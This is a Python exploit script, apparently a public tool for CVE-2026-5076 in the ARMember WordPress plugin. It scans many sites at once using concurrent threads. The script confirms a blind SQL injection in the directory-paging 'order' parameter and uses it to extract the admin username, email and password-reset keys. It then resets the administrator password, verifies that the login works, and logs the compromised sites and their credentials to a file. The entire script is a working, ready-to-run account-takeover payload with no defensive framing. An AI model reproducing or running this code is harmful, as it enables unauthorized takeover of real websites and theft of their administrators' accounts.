#!/usr/bin/env python3 import requests import re import os import sys import string import urllib3 import argparse import concurrent.futures import time from typing import Optional, List, Dict from urllib.parse import urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) if os.name == "win": os.system("cls") else: os.system("clear") class ARMemberExploit: def __init__(self, base_url: str, verify_ssl: bool = False, timeout: int = 15, verbose: bool = False): self.base_url = base_url.rstrip('/') self.session = requests.Session() self.session.verify = verify_ssl self.timeout = timeout self.verbose = verbose self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'} self.session.headers.update(self.headers) self.nonce = None self.template_id = None self.directory_url = None self.wp_prefix = 'wp_' self.admin_login = None self.admin_id = None self.admin_email = None self.arm_reset_key = None self.sz_true = 0 self.sz_false = 0 def _log(self, msg: str): if self.verbose: print(f" [>] {msg}") def detect_armember(self) -> bool: try: r = self.session.get(f"{self.base_url}/", timeout=self.timeout) if r.status_code == 200: body = r.text if any(x in body for x in ['arm_', 'armember', 'ARMember', 'arm_front_members']): return True except: pass try: r = self.session.get(f"{self.base_url}/wp-json/", timeout=self.timeout) if r.status_code == 200: data = r.json() if 'armember' in str(data).lower(): return True except: pass return False def find_directory_page(self) -> Optional[str]: try: r = self.session.get(f"{self.base_url}/", params={'s': 'members'}, timeout=self.timeout) if r.status_code == 200: links = re.findall(r'href=[\'"]?(https?://[^\'">\s]+)[\'"]?', r.text) for link in links: if any(x in link for x in ['/feed/', '/rss2/', '.xml', '/atom/']): continue if link.startswith(self.base_url): try: r2 = self.session.get(link, timeout=self.timeout) if 'arm_directory_form_container' in r2.text: self.directory_url = link return link except: continue except: pass common_paths = ['/directory/', '/members/', '/community/', '/member-directory/', '/our-members/', '/team/', '/users/', '/profiles/'] for path in common_paths: try: r = self.session.get(f"{self.base_url}{path}", timeout=self.timeout) if r.status_code == 200 and 'arm_directory_form_container' in r.text: self.directory_url = f"{self.base_url}{path}" return self.directory_url except: continue try: r = self.session.get(f"{self.base_url}/sitemap.xml", timeout=self.timeout) if r.status_code == 200: urls = re.findall(r'(.*?)', r.text) for url in urls: if 'member' in url.lower() or 'directory' in url.lower(): try: r2 = self.session.get(url, timeout=self.timeout) if 'arm_directory_form_container' in r2.text: self.directory_url = url return url except: continue except: pass return None def extract_nonce_and_template(self) -> bool: if not self.directory_url: return False try: r = self.session.get(self.directory_url, timeout=self.timeout) if r.status_code != 200: return False body = r.text nonce_match = re.search(r'name=["\']arm_wp_nonce["\'].*?value=["\']([^"\']+)["\']', body) if nonce_match: self.nonce = nonce_match.group(1) else: nonce_match = re.search(r'"arm_wp_nonce"\s*:\s*"([^"]+)"', body) if nonce_match: self.nonce = nonce_match.group(1) else: return False tid_match = re.search(r'name=["\']template_id["\'].*?value=["\']([^"\']+)["\']', body) if tid_match: self.template_id = tid_match.group(1) else: tid_match = re.search(r'"template_id"\s*:\s*"([^"]+)"', body) if tid_match: self.template_id = tid_match.group(1) else: return False return True except: return False def _send_sqli(self, order_payload: str) -> requests.Response: data = { 'action': 'arm_directory_paging_action', 'arm_wp_nonce': self.nonce, 'template_id': self.template_id, 'type': 'directory', 'order': order_payload, } return self.session.post(f"{self.base_url}/wp-admin/admin-ajax.php", data=data, timeout=self.timeout) def confirm_sqli(self) -> bool: try: r_normal = self._send_sqli('ASC') self.sz_true = len(r_normal.text) r_true = self._send_sqli('ASC,IF(1=1,1,EXP(710))') sz_true_payload = len(r_true.text) r_false = self._send_sqli('ASC,IF(1=2,1,EXP(710))') sz_false_payload = len(r_false.text) ratio = sz_true_payload / max(sz_false_payload, 1) self.sz_true = sz_true_payload self.sz_false = sz_false_payload if ratio > 5: return True else: return self._confirm_sqli_time_based() except: return False def _confirm_sqli_time_based(self) -> bool: try: start = time.time() self._send_sqli('ASC') baseline = time.time() - start start = time.time() self._send_sqli('ASC,IF(1=1,SLEEP(3),1)') sleep_time = time.time() - start start = time.time() self._send_sqli('ASC,IF(1=2,SLEEP(3),1)') no_sleep_time = time.time() - start if sleep_time - no_sleep_time > 2: self.sz_true = int(baseline * 100) self.sz_false = int(baseline * 100) return True return False except: return False def _sqli_bool(self, condition: str) -> bool: if self.sz_false > 0: r = self._send_sqli(f'ASC,IF(({condition}),1,EXP(710))') return len(r.text) >= self.sz_true // 2 import time start = time.time() self._send_sqli(f'ASC,IF(({condition}),SLEEP(2),1)') elapsed = time.time() - start return elapsed > 1.5 def detect_table_prefix(self) -> Optional[str]: common_prefixes = ['wp_', 'wp_2_', 'wp2_', 'wordpress_', 'site_', 'db_', 'blog_', 'web_', 'cms_'] for prefix in common_prefixes: cond = f"(SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='{prefix}users')>0" if self._sqli_bool(cond): self.wp_prefix = prefix return prefix prefix_chars = [] for pos in range(1, 10): found = False for c in string.ascii_lowercase + string.digits + '_': cond = f"SUBSTRING((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME LIKE '%users' LIMIT 1),{pos},1)='{c}'" if self._sqli_bool(cond): prefix_chars.append(c) found = True break if not found: break if prefix_chars: detected = ''.join(prefix_chars) if detected.endswith('users'): self.wp_prefix = detected[:-5] else: self.wp_prefix = detected return self.wp_prefix return 'wp_' def _extract_string(self, query: str, max_len: int = 64) -> Optional[str]: result_chars = [] chars = string.printable.strip() for pos in range(1, max_len + 1): cond = f"LENGTH(({query}))>={pos}" if not self._sqli_bool(cond): break low, high = 32, 126 found_char = None while low <= high: mid = (low + high) // 2 cond = f"ASCII(SUBSTRING(({query}),{pos},1))>{mid}" if self._sqli_bool(cond): low = mid + 1 else: found_char = chr(mid) high = mid - 1 if found_char and found_char in chars: result_chars.append(found_char) else: break result = ''.join(result_chars) return result if result else None def find_admin_user(self) -> Optional[str]: cond = f"(SELECT COUNT(*) FROM {self.wp_prefix}usermeta WHERE meta_key='{self.wp_prefix}capabilities' AND meta_value LIKE '%administrator%')>0" if self._sqli_bool(cond): self.admin_login = self._extract_string(f"SELECT user_login FROM {self.wp_prefix}users WHERE ID=(SELECT user_id FROM {self.wp_prefix}usermeta WHERE meta_key='{self.wp_prefix}capabilities' AND meta_value LIKE '%administrator%' LIMIT 1)") if self.admin_login: return self.admin_login cond = f"(SELECT COUNT(*) FROM {self.wp_prefix}usermeta WHERE meta_key='{self.wp_prefix}user_level' AND meta_value='10')>0" if self._sqli_bool(cond): self.admin_login = self._extract_string(f"SELECT user_login FROM {self.wp_prefix}users WHERE ID=(SELECT user_id FROM {self.wp_prefix}usermeta WHERE meta_key='{self.wp_prefix}user_level' AND meta_value='10' LIMIT 1)") if self.admin_login: return self.admin_login self.admin_login = self._extract_string(f"SELECT user_login FROM {self.wp_prefix}users ORDER BY ID LIMIT 1") if self.admin_login: return self.admin_login return None def get_admin_email(self) -> Optional[str]: if not self.admin_login: return None self.admin_email = self._extract_string(f"SELECT user_email FROM {self.wp_prefix}users WHERE user_login='{self.admin_login}'") return self.admin_email def get_admin_id(self) -> Optional[int]: if not self.admin_login: return None id_str = self._extract_string(f"SELECT ID FROM {self.wp_prefix}users WHERE user_login='{self.admin_login}'") if id_str and id_str.isdigit(): self.admin_id = int(id_str) return self.admin_id return None def check_arm_key_feature(self) -> bool: cond = f"(SELECT COUNT(*) FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key')>0" if self._sqli_bool(cond): cond_values = f"(SELECT COUNT(*) FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key' AND meta_value!='')>0" if self._sqli_bool(cond_values): return True return True return False def trigger_armember_password_reset(self) -> bool: if not self.admin_login: return False data = {'action': 'arm_lost_password', 'arm_wp_nonce': self.nonce, 'user_login': self.admin_login} try: self.session.post(f"{self.base_url}/wp-admin/admin-ajax.php", data=data, timeout=self.timeout) if self.verify_key_stored(): return True except: pass if self.admin_email: data['user_login'] = self.admin_email try: self.session.post(f"{self.base_url}/wp-admin/admin-ajax.php", data=data, timeout=self.timeout) return self.verify_key_stored() except: pass return False def trigger_wordpress_password_reset(self) -> bool: data = {'user_login': self.admin_login or self.admin_email, 'wp-submit': 'Get New Password'} try: r = self.session.post(f"{self.base_url}/wp-login.php?action=lostpassword", data=data, timeout=self.timeout) if 'Check your email' in r.text or 'confirm' in r.text: return True except: pass return False def verify_key_stored(self) -> bool: if not self.admin_id: return False cond = f"(SELECT meta_value FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key' AND user_id={self.admin_id}) IS NOT NULL" if self._sqli_bool(cond): cond2 = f"LENGTH((SELECT meta_value FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key' AND user_id={self.admin_id}))>0" return self._sqli_bool(cond2) return False def extract_arm_reset_key(self) -> Optional[str]: if not self.admin_id: return None query = f"SELECT meta_value FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key' AND user_id={self.admin_id}" self.arm_reset_key = self._extract_string(query, max_len=20) return self.arm_reset_key def extract_hashed_key(self) -> Optional[str]: if not self.admin_login: return None query = f"SELECT user_activation_key FROM {self.wp_prefix}users WHERE user_login='{self.admin_login}'" return self._extract_string(query, max_len=64) def reset_password_via_armrp(self, new_password: str) -> bool: if not self.arm_reset_key or not self.admin_login: return False params = {'armrp': 'true', 'key': self.arm_reset_key, 'login': self.admin_login} try: r = self.session.get(f"{self.base_url}/", params=params, timeout=self.timeout) if 'arm_set_forgot_password' not in r.text and 'reset_password' not in r.text.lower(): return False reset_nonce_match = re.search(r'name=["\']arm_wp_nonce["\'].*?value=["\']([^"\']+)["\']', r.text) reset_nonce = reset_nonce_match.group(1) if reset_nonce_match else self.nonce data = { 'action': 'arm_set_forgot_password', 'arm_wp_nonce': reset_nonce, 'key': self.arm_reset_key, 'login': self.admin_login, 'password': new_password, 'confirm_password': new_password, } r2 = self.session.post(f"{self.base_url}/wp-admin/admin-ajax.php", data=data, timeout=self.timeout) if 'success' in r2.text.lower() or 'password' in r2.text.lower(): return True return False except: return False def reset_password_via_wp(self, key: str, new_password: str) -> bool: params = {'action': 'rp', 'key': key, 'login': self.admin_login} try: r = self.session.get(f"{self.base_url}/wp-login.php", params=params, timeout=self.timeout) if 'resetpass' not in r.text and 'password' not in r.text: return False wp_action_match = re.search(r'action=[\'"]?([^\'"&\s]+)[\'"]?', r.text) wp_nonce_match = re.search(r'name=["\']_wpnonce["\'].*?value=["\']([^"\']+)["\']', r.text) wp_action = wp_action_match.group(1) if wp_action_match else 'resetpass' wp_nonce = wp_nonce_match.group(1) if wp_nonce_match else '' data = { 'action': wp_action, '_wpnonce': wp_nonce, 'key': key, 'login': self.admin_login, 'pass1': new_password, 'pass2': new_password, 'wp-submit': 'Reset Password', } r2 = self.session.post(f"{self.base_url}/wp-login.php", data=data, timeout=self.timeout) if 'Your password has been reset' in r2.text or 'login' in r2.text.lower(): return True return False except: return False def validate_admin_access(self, password: str) -> bool: data = {'log': self.admin_login, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f'{self.base_url}/wp-admin/'} try: r = self.session.post(f"{self.base_url}/wp-login.php", data=data, timeout=self.timeout, allow_redirects=False) if r.status_code == 302 and 'wp-admin' in r.headers.get('Location', '') and 'login' not in r.headers.get('Location', ''): r2 = self.session.get(f"{self.base_url}/wp-admin/", timeout=self.timeout) if r2.status_code == 200 and 'dashboard' in r2.text.lower(): return True return False except: return False def run(self, new_password: str = 'Pwn3d_by_CVE20265076!') -> Dict: result = { 'target': self.base_url, 'success': False, 'admin_login': None, 'admin_email': None, 'new_password': None, 'phase': 0, 'error': None } self._log(f"Memulai analisis pada {self.base_url}...") if not self.detect_armember(): result['error'] = 'ARMember not detected' return result self._log("ARMember terdeteksi. Mencari halaman direktori...") if not self.find_directory_page(): result['error'] = 'Directory page not found' return result self._log(f"Halaman ditemukan: {self.directory_url}. Mengekstrak nonce...") if not self.extract_nonce_and_template(): result['error'] = 'Nonce/template extraction failed' return result self._log(f"Nonce: {self.nonce} | Template ID: {self.template_id}. Menguji SQLi...") if not self.confirm_sqli(): result['error'] = 'SQLi not confirmed' return result self._log("SQLi terkonfirmasi! Mendeteksi prefix tabel...") self.detect_table_prefix() self._log(f"Prefix tabel: {self.wp_prefix}. Mencari user admin...") if not self.find_admin_user(): result['error'] = 'Admin user not found' return result self._log(f"Target admin: {self.admin_login}") admin_email = self.get_admin_email() self._log(f"Email admin: {admin_email}") self.get_admin_id() self._log("Memicu pembuatan reset token...") key_stored = self.trigger_armember_password_reset() if not key_stored: self._log("Reset ARMember gagal, mencoba reset default WordPress...") self.trigger_wordpress_password_reset() key_stored = self.verify_key_stored() if not key_stored: if self.admin_id: cond = f"(SELECT COUNT(*) FROM {self.wp_prefix}usermeta WHERE meta_key='arm_reset_password_key' AND user_id={self.admin_id} AND meta_value!='')>0" key_stored = self._sqli_bool(cond) self._log("Mengekstrak reset key dari database...") arm_key = self.extract_arm_reset_key() hashed_key = None if not arm_key: self._log("Key ARMember tidak ditemukan, mencoba mengambil activation key WordPress...") hashed_key = self.extract_hashed_key() if not hashed_key: result['error'] = 'No key available for extraction' return result reset_success = False if arm_key: self._log(f"Mereset password via ARMember (key: {arm_key})") reset_success = self.reset_password_via_armrp(new_password) if not reset_success and hashed_key: self._log(f"Mereset password via WP (key: {hashed_key})") reset_success = self.reset_password_via_wp(hashed_key, new_password) if not reset_success: result['error'] = 'Password reset failed' return result self._log("Memvalidasi akses login baru...") if self.validate_admin_access(new_password): result['success'] = True result['admin_login'] = self.admin_login result['admin_email'] = self.admin_email result['new_password'] = new_password else: result['error'] = 'Validation failed' return result def normalize_urls(raw: str) -> List[str]: raw = raw.strip().rstrip('/') parsed = urlparse(raw) if parsed.scheme: return [raw] return [f"https://{raw}", f"http://{raw}"] def scan_target(target_input: str, password: str, timeout: int, output_file: Optional[str], verbose: bool = False) -> Dict: variants = normalize_urls(target_input) for url in variants: try: exp = ARMemberExploit(url, verify_ssl=False, timeout=timeout, verbose=verbose) result = exp.run(new_password=password) if result['success']: tag = 'EXPLOITED' print(f"[{tag}] {url} | User: {result['admin_login']} | Pass: {result['new_password']}") line = f"{url} | {result['admin_login']} | {result['new_password']} | {result['admin_email']}\n" if output_file: with open(output_file, 'a') as f: f.write(line) else: tag = 'FAILED' print(f"[{tag}] {url} | Error: {result['error']}") return result except Exception as e: print(f"[ERROR] {url} | {e}") continue return {'target': target_input, 'success': False, 'error': 'All variants failed'} def main(): print(r""" _____ _ _ _____ _____ _____ _____ ____ _____ _____ __________ / __ \ | | | ___| / __ \| _ |/ __ \ / ___| | ___|| _ ||___ / ___| | / \/ | | | |__ ______`' / /'| |/' |`' / /'/ /___ _____|___ \ | |/' | / / /___ | | | | | | __|______| / / | /| | / / | ___ \______| \ \| /| | / /| ___ \ | \__/\ \_/ / |___ ./ /___\ |_/ /./ /___| \_/ | /\__/ /\ |_/ /./ / | \_/ | \____/\___/\____/ \_____/ \___/ \_____/\_____/ \____/ \___/ \_/ \_____/ (Insecure Password Reset Mechanism) Author : @grvhalley Channel : @dongakclub CVSS : 9.8 Critical CWE : CWE-640: Weak Password Recovery """) parser = argparse.ArgumentParser(description='CVE-2026-5076 Massive Scanner') parser.add_argument('-f', '--file', help='File with targets (one per line)') parser.add_argument('-u', '--url', help='Single target URL') parser.add_argument('-v', '--verbose', action='store_true', help='Enable verbose output (best for single target)') parser.add_argument('-p', '--password', default='Pwn3d_by_CVE20265076!', help='New password for admin') parser.add_argument('-t', '--threads', type=int, default=10, help='Concurrent threads') parser.add_argument('-o', '--output', default='exploited.txt', help='Output file') parser.add_argument('--timeout', type=int, default=15, help='Request timeout') args = parser.parse_args() targets = [] if args.file: with open(args.file, 'r') as f: targets.extend([line.strip() for line in f if line.strip()]) if args.url: targets.append(args.url.strip()) if not targets: parser.error("No targets provided. Use -f or -u ") print(f"[*] Loaded {len(targets)} targets") print(f"[*] Threads: {args.threads}") print(f"[*] Output: {args.output}") print(f"[*] Password: {args.password}") print() # with open(args.output, 'w') as f: # f.write("# CVE-2026-5076 Exploited Targets\n") # f.write("# URL | Admin Login | New Password | Admin Email\n") successful = 0 failed = 0 with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor: futures = {executor.submit(scan_target, t, args.password, args.timeout, args.output, args.verbose): t for t in targets} for future in concurrent.futures.as_completed(futures): target = futures[future] try: result = future.result() if result['success']: successful += 1 else: failed += 1 except Exception as e: failed += 1 print(f"[ERROR] {target} | Exception: {e}") print() print("=" * 60) print(f"Scan complete!") print(f"Successful: {successful}") print(f"Failed: {failed}") print(f"Total: {successful + failed}") print(f"Results saved to: {args.output}") print("=" * 60) if __name__ == '__main__': main()